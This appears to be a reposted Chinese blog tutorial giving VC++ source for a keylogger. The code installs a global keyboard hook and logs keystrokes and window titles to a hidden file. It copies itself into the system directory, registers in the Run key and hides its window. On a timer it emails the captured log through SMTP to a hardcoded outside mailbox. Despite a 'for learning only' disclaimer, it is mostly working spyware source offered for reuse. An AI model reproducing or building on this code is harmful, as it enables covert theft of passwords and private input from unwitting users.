键盘记录及自动发送VC++实现

来源:互联网 发布:尚硅谷 java视频 编辑:程序博客网 时间:2024/05/19 23:00
正文:

首先我想向大家说明的是:

1、   现在这个软体已经被某些杀毒软件(nod32、瑞星等)偶尔报为病毒了;

2、   本软件仅供学习使用;

3、   软件的很多代码为他人所有,我是直接拿来使用,我并不保留这个软件及代码的任何所有权,大家可以随便转载,但请帮我宣传我的网站www.liublog.com.cn,这也是我写这篇文章的目的,谢谢。

一、工具:VC++6.0 环境:我所用的是WIN XP。

二、基本功能介绍

记录所有按键信息和按键时当前窗口名称并保存为文本文档;

将按键信息发送至指定邮箱中;

软件可自动运行可自动复制一份到其他路径并随系统自动启动。

三、关键步骤:

1、   打开VC++6.0新建一个单一对话框(DIALOG)的MFC程序:KeyBoardRecord,其他都按系统默认完成;

2、   因为要能发送邮件,所以得用到SOCKET类,但这个类以及发送邮件的功能已经有高手给我写好,我直接拿来使用:smtp.cpp,smtp.h,base64.cpp,base64.h.(请在文章结尾处点击下载)所以,我们现在添加这四个文档,选择Project-AddtoProject-Files在弹出的对话框中选择前面提到的四个文件,添加进我们的工程中。

3、   本实例并未用到DLL文件,而是直接使用全局钩子函数:在KeyBoardRecord.CPP文件中添加全局函数:

//键盘钩子函数

LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)

{

  FILE* out;

  SYSTEMTIME sysTm;

  ::GetLocalTime(&sysTm);

  int m_nMonth = sysTm.wMonth;

  int m_nDay = sysTm.wDay;

  char filename[100];//保存文件名

  sprintf(filename,"c://Windows//liublog.com.cn.log");//记录保存的路径和名称,请自行修改

  if(nCode<0)

    return CallNextHookEx(g_hHook,nCode,wParam,lParam);

  if(nCode==HC_ACTION)//HC_ACTION表明lParam指向一消息结构

  {    

    EVENTMSG *pEvt=(EVENTMSG *)lParam;

    if(pEvt->message==WM_KEYDOWN)//判断是否是击键消息

    {  

      DWORD dwCount;

      char svBuffer[256];

      int vKey,nScan;

      vKey=LOBYTE(pEvt->paramL);

      nScan=HIBYTE(pEvt->paramL);//扫描码

      nScan<<=16;

      //检查当前窗口焦点是否改变

      HWND hFocus=GetActiveWindow();

      if(g_hLastFocus!=hFocus)

      {//保存窗口标题到文件中

          char svTitle[256];

          int nCount;

          nCount=GetWindowText(hFocus,svTitle,256);

          if(nCount>0)

          {

            out=fopen(filename,"a+");

            fprintf(out,"/r/n-----www.liublog.com.cn提示:请不要将本软件用在非法途径上[%s]-----/r/n",svTitle);

            fclose(out);

          }

          g_hLastFocus=hFocus;

      }

      // Write out key

      dwCount=GetKeyNameText(nScan,svBuffer,256);

      if(dwCount)//如果所击键在虚拟键表之中

      {

          if(vKey==VK_SPACE)

          {

            svBuffer[0]=' ';

            svBuffer[1]='/0';

            dwCount=1;

          }

          if(dwCount==1)//如果是普通键则将其对应的ascii码存入文件

          {  

            BYTE kbuf[256];

            WORD ch;

            int chcount;

            GetKeyboardState(kbuf);

            chcount=ToAscii(vKey,nScan,kbuf,&ch,0);

            /*根据当前的扫描码和键盘信息,将一个虚拟键转换成ASCII字符*/

            if(chcount>0)

            {

              out=fopen(filename,"a+");

              fprintf(out,"%c",char(ch));

              fclose(out);

            }

          }

          else//如果是Ctrl、Alt之类则直接将其虚拟键名存入文件

          {      

            out=fopen(filename,"a+");

            fprintf(out,"[%s]",svBuffer);

            fclose(out);

            if(vKey==VK_RETURN)//回车

            {

              out=fopen(filename,"a+");

              fprintf(out,"/r/n");

              fclose(out);

            }

          }

      }

    }

  }

  return CallNextHookEx(g_hHook,nCode,wParam,lParam);

}

//添加上面函数要用到全局变量:

HHOOK g_hHook = NULL;           //全局钩子函数句柄

HWND g_hLastFocus = NULL;         //活动窗体句柄

//启动钩子,也就是开始记录,添加在窗体上添加一个按键:IDC_BUTTON_START,双击

void CKeyBoardRecordDlg::OnButtonStart()

{

         g_hHook=SetWindowsHookEx(WH_JOURNALRECORD,KeyboardProc,GetModuleHandle(NULL),0);

        

}

//添加一个停止记录的按钮控件

void CKeyBoardRecordDlg::OnButtonStop()

{

         if(g_hHook)

                   UnhookWindowsHookEx(g_hHook);     

}

//到现在键盘记录的功能完成了。

4、   软件自动复制及完成的功能,其实就是软件自我复制一份到指定路径并写入注册表的RUN项内,代码如下:

//添加一个“自动运行”的按钮,并复制一下代码

void CKeyBoardRecordDlg::OnButtonAutorun()

{

         CString strSysDir;

         CString strFilePath;

         CString strNewFilePath;

         DWORD size=MAX_PATH; 

         GetSystemDirectory(strSysDir.GetBuffer(size),size);//获得操作系统安装路径 C://WINDOWS//SYSTEM32

         strSysDir.ReleaseBuffer();

         GetModuleFileName(NULL,strFilePath.GetBuffer(size),size);

         strFilePath.ReleaseBuffer();   

         strNewFilePath=strSysDir+"//liublog.exe";//复本路径和名称,自行修改

         CopyFile(strFilePath,strNewFilePath,TRUE);//自我复制

//以下为写注册表

    CRegKey reg;

         CString strValueName;

         strValueName="liublog";

         LPCTSTR Rgspath="Software//Microsoft//Windows//CurrentVersion//Run";

         if(reg.Open(HKEY_LOCAL_MACHINE,Rgspath)==ERROR_SUCCESS)

                   if(reg.SetValue(strNewFilePath,strValueName)==ERROR_SUCCESS)

                            if(reg.Close()==ERROR_SUCCESS)

//                                   AfxMessageBox("Successful");

//                          else

//                                   AfxMessageBox("Fault!");

         ShowWindow(FALSE);

}

5、   接下来就剩下一些附属的功能:启动自动运行,隐藏程序,查看记录等,这里就不一一叙说了,请下载源码自己浏览。

6、   还需要增加说明的一个函数是软件初始化函数:OnInitDialog()

在这个函数中增加:

         m_nCopyNumber = 1;//++

         m_bNeedAuth = 0;//++

         SetTimer(1,1,NULL);//开机启动定时器

         SetTimer(2,60000,NULL);//六秒后自动发送邮件

         OnButtonAutorun();//是否开启开机启动

邮件自动发送请看“键盘记录及自动发送VC++实现(下)”

 

程序下载

在上篇文章中已经介绍了如何记录键盘,在这里我们要实现的是如何将键盘记录发送到指定邮箱,其实很简单,基本原理是:

自己编写一个邮件发送软件,让这个软件和键盘记录组合起来,定时发送指定的邮件内容(键盘记录文本),并能隐藏运行。

这里我坦白自己也不会编写那样的软件,于是乎下载了一个别人的源代码,然后搞懂里面的运作,做了一些修改,变为自己使用。

1、   记得在“键盘记录及自动发送VC++实现(上)”已经提过到了添加两个类SMTP和BASE64,就是在这里要用到的。在CKeyBoardRecordDlg.cpp文档中添加全局函数:

//邮件发送进程

UINT SendMailMulti(LPVOID pParam)

{

SYSTEMTIME sysTm;

::GetLocalTime(&sysTm);

int m_nMonth = sysTm.wMonth;

int m_nDay = sysTm.wDay;

char filename[100];//保存文件名

sprintf(filename,"c://Windows//liublog.com.cn.log");//键盘记录文件的保存地址

CString hugestr;//在这个程序中我不是通过附件发送,而是将记录文件读到hugestr这个CString类中用//正文发送

CFile mFile;

if(mFile.Open(filename,CFile::modeRead))//设置键盘记录路径

{

           int l = mFile.GetLength();

           mFile.ReadHuge(hugestr.GetBuffer(l+1),l);

           hugestr.ReleaseBuffer();

           mFile.Close();//必须先关闭,后面的打开清空才有效。

}

else

{

//                  AfxMessageBox("没有找到前一天的记录!文件名格式为liublog.com.cn_月_日.log/r/n路径://c://Windows文件夹下");欢迎登陆:www.liublog.com.cn。

           mFile.Close();

           return FALSE;

}

//发送文件

CKeyBoardRecordDlg *pSendThread = (CKeyBoardRecordDlg *)pParam;

CSMTP smtp("smtp.hexun.com", 25);//邮件服务器信息,这些我都写死到程序中

//初始化邮件内容:

smtp.m_strAccount = "";//发送人邮箱账号及密码,可以不写

smtp.m_strPassword = "";

smtp.m_strFrom = "liuyuelin007@126.com";

smtp.m_strTo = "liublog@hexun.com";//接受信箱

smtp.m_strSubject = "www.liublog.com.cn";//主题

smtp.m_strBody = hugestr;//内容

smtp.m_strUsername = "macolin";//寄件人名称

//         smtp.m_szFilenames.Copy(pSendThread->m_szFilenames);//不发送附件

//连接服务器:

pSendThread->SetDlgItemText(IDC_STATIC_STATUS, "正在连接服务器……");

if(!smtp.Connect())

{

//                  AfxMessageBox(smtp.GetLastError());

           pSendThread->SetDlgItemText(IDC_STATIC_STATUS, "连接服务器失败!");

           return FALSE;

}

//当需要服务器验证的时候:

if(pSendThread->m_bNeedAuth == 1)//默认设置不验证

{

           pSendThread->SetDlgItemText(IDC_STATIC_STATUS, "正在验证 用户名/密码 ……");

           if(!smtp.Auth())

           {

//                           AfxMessageBox(smtp.GetLastError());

                    pSendThread->SetDlgItemText(IDC_STATIC_STATUS, "用户名/密码 验证出错!");

                    return FALSE;

           }

}

//开始发送邮件:

CProgressCtrl *pBar;//放一个进度条

pBar = (CProgressCtrl *)pSendThread->GetDlgItem(IDC_PROGRESS_SEND);

pSendThread->SetDlgItemText(IDC_STATIC_STATUS, "正在发送信件……");

for(m_nCount; m_nCount < pSendThread->m_nCopyNumber; ::InterlockedIncrement((long *)&m_nCount))

{

           if(!smtp.SendMessage())

           {

//                           AfxMessageBox(smtp.GetLastError());

                    smtp.Disconnect();

                    pSendThread->SetDlgItemText(IDC_STATIC_STATUS, "发送信件出错!");

                    return FALSE;

           }

           else

           {

                    pSendThread->SetDlgItemText(IDC_STATIC_STATUS, "正在发送信件……");

                    pBar->SetPos((m_nCount + 1) * 100 / pSendThread->m_nCopyNumber);

                    smtp.Disconnect();

           }

}

//邮件已被成功发送!

pSendThread->SetDlgItemText(IDC_STATIC_STATUS, "发送完毕!");

pSendThread->SetDlgItemText(IDCANCEL, "完成");

m_nCount = 0;

mFile.Open("c://Windows//liublog.com.cn.log",CFile::modeCreate);//发送后清空键盘记录文件

mFile.Close();

//         AfxMessageBox("成功发送邮件!");

return TRUE;

}

函数用到的相关变量请在头文件中添加:

       //邮件发送的相关变量定义

       CString m_strAccount;

       CString m_strPassword;

       CString m_strFrom;

       CString m_strTo;

       CString m_strSubject;

       CString m_strBody;

       CString m_strUsername;

       int m_nCopyNumber;

       int m_nPort;

       CString m_strSmtpServer;

       int m_bNeedAuth;

关键和最难的一步实现了(其实不难,粘贴复制即可,哈哈)

2、  在窗体中添加一个按钮IDC_BUTTON_SEND,来试试我们的邮件发送功能。

void CKeyBoardRecordDlg::OnButtonSend()

{

       AfxBeginThread(SendMailMulti, this); 

}

3、  而要实现自动发送就在OnInitDialog()下功夫了,添加两个定时器后,实现定时

void CKeyBoardRecordDlg::OnTimer(UINT nIDEvent)

{

       if(nIDEvent==1)

       {

              KillTimer(1);

              if(Register())

              {

                     OnButtonStart();

                     ShowWindow(FALSE);

              }

       }

       else if(nIDEvent==2)

       {

              KillTimer(2);

              if(Register())

              {

                     OnButtonSend();

              }

       }

       CDialog::OnTimer(nIDEvent);

}

0 0
原创粉丝点击